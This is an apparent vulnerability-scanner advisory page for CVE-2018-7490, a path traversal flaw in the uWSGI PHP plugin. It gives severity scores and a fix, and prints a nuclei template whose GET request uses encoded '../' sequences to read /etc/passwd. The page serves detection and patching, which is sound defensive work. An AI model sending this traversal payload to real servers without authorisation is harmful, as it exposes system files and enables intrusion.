CVE-2018-7490· unbit / uwsgi· CWE-22
uWSGI PHP Plugin Local File Inclusion
highseverity
7.5CVSS score
69.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
uWSGI PHP Plugin before 2.0.17 mishandles a DOCUMENT_ROOT check during use of the --php-docroot option, making it susceptible to local file inclusion.
Impact
An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
Fix
Update to the latest version of uWSGI PHP Plugin or apply the necessary patches to fix the local file inclusion vulnerability.
How to confirm it
Send: GET {{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2018-7490 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2018-7490
info:
name: uWSGI PHP Plugin Local File Inclusion
author: madrobot
severity: high
description: uWSGI PHP Plugin before 2.0.17 mishandles a DOCUMENT_ROOT check during use of the --php-docroot option, making it susceptible to local file inclusion.
impact: |
An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
remediation: |
Update to the latest version of uWSGI PHP Plugin or apply the necessary patches to fix the local file inclusion vulnerability.
reference:
- https://uwsgi-docs.readthedocs.io/en/latest/Changelog-2.0.17.html
- https://www.exploit-db.com/exploits/44223/
- https://www.debian.org/security/2018/dsa-4142
- https://nvd.nist.gov/vuln/detail/CVE-2018-7490
- https://github.com/jweny/pocassistdb
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-7490
cwe-id: CWE-22
epss-score: 0.69423
epss-percentile: 0.99365
cpe: cpe:2.3:a:unbit:uwsgi:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: unbit
product: uwsgi
tags: cve2018,cve,uwsgi,php,lfi,plugin,edb,unbit,vuln
http:
- method: GET
path:
- "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://uwsgi-docs.readthedocs.io/en/latest/Changelog-2.0.17.html
- https://www.exploit-db.com/exploits/44223/
- https://www.debian.org/security/2018/dsa-4142
- https://nvd.nist.gov/vuln/detail/CVE-2018-7490
- https://github.com/jweny/pocassistdb
Use this check only on systems you are authorised to test. Where the data comes from